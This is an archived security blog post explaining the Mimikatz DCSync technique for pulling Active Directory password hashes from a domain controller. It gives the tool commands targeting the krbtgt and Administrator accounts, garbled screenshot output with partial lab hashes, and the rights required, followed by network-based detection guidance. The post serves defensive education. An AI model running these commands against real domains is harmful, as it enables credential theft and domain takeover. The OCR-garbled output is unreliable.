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By Sean Metcalf

Published: 2015-09-25 - Archived: 2026-04-06 01:07:33 UTC

Note: I presented on this AD persistence method at DerbyCon (2015).

A major feature added to Mimkatz in August 2015 is “DCSync” which effectively “impersonates” a Domain
Controller and requests account password data from the targeted Domain Controller. DCSync was written by

Benjamin Delpy and Vincent Le Toux.

The exploit method prior to DCSync was to run Mimikatz or Invoke-Mimikatz on a Domain Controller to get the
KRBTGT password hash to create Golden Tickets. With Mimikatz’s DCSync and the appropriate rights, the
attacker can pull the password hash, as well as previous password hashes, from a Domain Controller over the

network without requiring interactive logon or copying off the Active Directory database file (ntds.dit).

Special rights are required to run DCSync. Any member of Administrators, Domain Admins, or Enterprise Admins
as well as Domain Controller computer accounts are able to run DCSync to pull password data. Note that Read-

Only Domain Controllers are not allowed to pull password data for users by default.

andline) # Isadump::dcsync /domain:rd.adsecurity.org fuser:Administrator
[DC 5 curity g’ will be the domain
[DC] "RDLABDCOL. rd. adsecurity.org' will be the DC server

[DC] "Administrator’ will be the user account
Object RDM : Administrator
== SaM ACCOUNT ==

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
r Account Control : 00000200 ( NORMAL_ACCOUNT )
piration -
=t change :
Object Security ID
Object Relative ID

Credentials:
Haszh NTL
ntIm-
ntim-
ntIm-

Im -

Im - 1:

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : RD.ADSECURITY.ORGAdministrator
Default Iterations : 4096
Credenti
: 2394F3a0f5bcob
f4d4892350fbcs
5d8c9edbadaddacd

0526e75306d2090d03T0eale0f68laaesaes91e2d9c27eadIc3I2252
4cdledd? ded4teeed26dd4Balde
5bfd0od0efe3iez334

rcd_plain { J 5164b7a0fda3esds
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The credentials section in the graphic above shows the current NTLM hashes as well as the password history. This

information can be valuable to an attacker since it can provide password creation strategies for users (if cracked).

Will’s post has great information on Red Team usage of Mimikatz DCSync:
Mimikatz and DCSync and ExtraSids, Oh My

How DCSync works:

1. Discovers Domain Controller in the specified domain name.
2. Requests the Domain Controller replicate the user credentials via GetNCChanges (leveraging Directory,
Replication Service (DRS) Remote Protocol)

I have previously done some packet captures for Domain Controller replication and identified the intra-DC

communication flow regarding how Domain Controllers replicate.
The Samba Wiki describes the DSGetNCChanges function:

“The client DC sends a DSGetNCChanges request to the server when the first one wants to get AD objects

updates from the second one. The response contains a set of updates that the client has to apply to its NC replica.

It is possible that the set of updates is too large for only one response message. In those cases, multiple

DSGetNCChanges requests and responses are done. This process is called replication cycle or simply cycle.”

“When a DC receives a DSReplicaSync Request, then for each DC that it replicates from (stored in RepsFrom
data structure) it performs a replication cycle where it behaves like a client and makes DSGetNCChanges requests

to that DC. So it gets up-to-date AD objects from each of the DC’s which it replicates from.”

From MSDN:

The IDL_DRSGetNCChanges method replicates updates from an NC replica on the server.

ULONG IDL_DRSGetNCChanges(
[in, ref] DRS_HANDLE hDrs,
[in] DWORD dwInVersion,
[in, ref, switch_is(dwInVersion)]
DRS_MSG_GETCHGREQ* pmsgIn,
[out, ref] DWORD* pdwOutVersion,
[out, ref, switch_is(*pdwOutVersion)]
DRS_MSG_GETCHGREPLY* pmsgOut
);

hDrs: The RPC context handle returned by the IDL._ DRSBind method.
dwInVersion: Version of the request message.

pmsglIn: A pointer to the request message.
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pdwOutVersion: A pointer to the version of the response message.
pmsgOut: A pointer to the response message.

Return Values: 0 if successful, otherwise a Windows error code.

Exceptions Thrown: This method might throw the following exceptions beyond those thrown by the
underlying RPC protocol (as specified in [MS-RPCE]): ERROR_INVALID_HANDLE,
ERROR_DS_DRS_EXTENSIONS_CHANGED, ERROR_DS_DIFFERENT_REPL_EPOCHS, and
ERROR_INVALID_PARAMETER.

Delegating Rights to Pull Account data:

It is possible to use a regular domain user account to run DCSync. The combination of the following three rights
need to be delegated at the domain level in order for the user account to successfully retrieve the password data
with DCSync:

¢ Replicating Directory Changes (DS-Replication-Get-Changes)

Extended right needed to replicate only those changes from a given NC that are also replicated to the

Global Catalog (which excludes secret domain data). This constraint is only meaningful for Domain NCs.
e Replicating Directory Changes All (DS-Replication-Get-Changes-All)

Control access right that allows the replication of all data in a given replication NC, including secret

domain data.

e Replicating Directory Changes In Filtered Set (rare, only required in some environments)

General | Managed By | Object Security | Attibute Edtor |
(Froup or user names:
2, Everyone -
52 SELF
nghEﬂ‘tiEEﬂEd Users
42 SYSTEM

l DCR (DCR@&rd adsecurity.ong)
K2 Ertemrise Read-only Domain Cortrollers {RDM\Ertemprize Reado... ﬂ

Add. | Remove |

Pemissions for DCR Allow

Reanimate tombstones

Replicating Directory Changes

Replicating Directony Changes Al
Replicating Directory Changes In Filtered Set
Replication synchronization

o T - R U | o el |

For special pemissions or advanced settings, click e |
Advanced.

10K E RO
1ooooo|s

Note that members of the Administrators and Domain Controller groups have these rights by default.
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| Advanced Security Settings for lab0 \EI

Permissions | Dwner | Effective Peimissions

To wiews details for a permizsion entry, select the entry and then click. View.

Permission entries:

Tupe Mame Permiszion Inherited Fro *

Allow Adminiztiators ([ADSECLAB DNadmini Fiead only replication secret synchronization <niot inherite

Rej

cating ar e o erite
Replication synchronization <hot inherite
Replication synchronization <hot inherite

I 2

Add... iew... Remaove Restore defaults

Managing permission entries

Pulling Password Data Using DCSync

Once the account is delegated the ability to replicate objects, the account can run Mimikatz DCSync:

mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt”

zer :krbtgt
.org"' will be the domain
"RDLABDCOL. rd. adsecurity.org’ will be the DC server

"krbtgt’ will be the user account
Object RDM : krbtat
AM ACCOUNT ==

S5AM Username : krbtat
Account Type : 30000000 { USER_OBIECT )
Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
unt expiration -
last change
Object Security ID
Object Relative ID

Credentia
Hash NTLM:
ntlm- 0: Bbd4e3f3cBeSelBcesTbl2dead
Tm - 0: 2584a622c5dbd03c2050a5474

Supplemental Credentials
= Primary:Kerberos-Newer S
Default 5alt : RD.! CURITY.ORGkrbtagt
Default Iterations : 4096
Credentials
aes b (409 6aBB7BE333 e0820bdded c0f8e39a71147ae7f81310aa257bcfeeb3bct
aes128_hmac 109 7d63df4e2bdde3ed26e266T08a5dbCC
des_chc_mds 0edefdba0elf3
rcd_plain (4096 8bde3if3icBeselBcesThl24eadd7acesf

* Primary:Kerberos =
Default Salt : RD.ADSECURITY.ORGkrbtgt
Credentia
des_chc : Dedefdb90el1f 3457
rcd_plain : Bbde3f3cBeSelBcesthl2dead

= Package
Kerbe -Mewer-Keys

Targeting an admin account with DCSync can also provide the account’s password history (in hash format). Since
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there are LMHashes listed it may be possible to crack these and gain insight into the password strategy the admin

uses. This may provide the attacker to guess the next password the admin uses if access is lost.

mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user: Administrator”

mimi ( andline) # Isadump::dcsync fdomain:rd.adsecurity.org fuser:Administrator
)X ] ecurity " will be the domain
DC] "RDLABDCOL. rd. adsecurity.org’ will be the DC server

[DC] "Administrator’ will be the user account

: Adminmistrator

sername : Administr r
! nt Type : 30000000 USER_OBJECT )
U ser Account Control : 00000200 ( MORMAL_ACCOUNT )
iration
aszt change : i
Security ID 5 2 3696909401-500
Object Relative ID 4

Jclbcciﬂbif
726cc03Tbl438

Supplemental Credentials:
= Primary:kKerberos-Newer
Default Salt : RD.!
Default Iterations
Credentials
6_hmac (409 S RIE bfcel0e5d845e78638deacld2elbr4ats8a674be7el02b
8_hmac (409 : _Fl 6d418afabfzb2
des_cbc_md5 g
rcd_plain (4096) : ELjHiElTETlhbiLGEbEEESESCQEEf
01dCPedentia]5
: : 0526875 jﬂud=GHGdefﬂeaGﬂﬂfuﬂlaae ae591e2d9c27ead9c3i322525382dd3f
dcdled ifeeed?fddd8alde
e i 5bhfd0d0efe3iez33
Pc4_p131n (4096) : 5164b7a0fda3ssdse7

Detecting DCSync usage

While there may be event activity that could be used to identify DCSync usage, the best detection method is

through network monitoring.
Step 1: Identify all Domain Controller IP addresses and add to “Replication Allow List”.
PowerShell Active Directory module cmdlet:

Get-ADDomainController -filter * | select IPv4Address
PowerShell:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain(). DomainControllers | select

IPAddress

Nslookup (if DC runs DNS):
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nslookup
Set type=all
_ldap._tcp.dc._msdcs. DOMAIN.COM

Step 2: Configure IDS to trigger if DsGetNCChange request originates an IP not on the “Replication Allow
List” (list of DC IPs).

Time ource ation Protocol  lLength  [Info
o1 ©0.02246500 S TRRE S ERE T [TCP segment of a reassembled PDUJ

63 6.02250400172.16.11. : ' 54 49155-49252 [ACK] Seq=l Ack=1898 win=131328 Len=0

70 6.05570400172.16.11. 2 2974 [TCP segment of a reassembled PDU]
71 6.05584300172.16.11. : 54 49252-49155 [ACK] 5eq=2606 Ack=3514 Win=131328 Len=0

g1 6.08152400172.16.11. : ' 1514 [TCP segment of a reassembled PDU]
82 6.08170400172.16.11. : 54 49252-49155 [ACK] Seq=3534 Ack=10798 win=121328 Len=0

Frame 79: 402 bytes on wire (3216 bits), 402 bytes captured (3216 bits) on interface 0
Ethernet II, src: Microsof_17:cl:al (00:15:5d:17:cl:al), Dst: Microsof_17:c1:98 (00:15:5d:17:c1:98)
Internet Protocol Version 4, Src: 172.16.11.101 (172.16.11.101), Dst: 172.16.11.12 (172.16.11.12)
Transmission Control Protocol, Src Port: 49252 (49252), Dst Port: 49155 (49155), Seq: 3186, Ack: 4962, Len: 348
Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, FragLen: 348, call: 7, Ctx:
version: 5
version (minor): O
Packet type: Request (0)
® Packet Flags: 0x03
# Data Representation: 10000000
Frag Length: 348
Auth Length: 76
call 1ID: 7
Alloc hint: 226
Context ID: 1
opnum: 3
Auth type: SPNEGO (9)
Auth level: Packet privacy (6)
Auth pad len: 14
Auth Rsrvd: O
Auth Context ID: O
Response in frame: 807
B G55-API Generic Security Service Application Program Interface
krb5_blob: 050406ff0010001c000000000cd9a6887170e24a482388d5. ..
= DRSUAPI, DsGetNCChanges
Operation: DsGetNCChanges (3)
Response in frame: 807
Encrypted stub data (240 bytes)

OEHBEHE

There are other tools that perform this same process so it’s better to focus on detecting the method instead of

specific artifacts.
Other tools that leverage GetNCChanges

o Impacket: https://github.com/CoreSecurity/impacket

Note that Full Control rights at the domain provides these rights as well, so limit who has domain-level admin

rights.
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References:

e MSDN GetNCChanges

e How to grant the “Replicating Directory Changes” permission for the Microsoft Metadirectory Services

ADMA service account

o Grant Active Directory Domain Services permissions for profile synchronization in SharePoint Server
2013

e How to poll for object attribute changes in Active Directory on Windows 2000 and Windows Server 2003
» Polling for Changes Using the DirSync Control
e Mimikatz and DCSync and ExtraSids, Oh My
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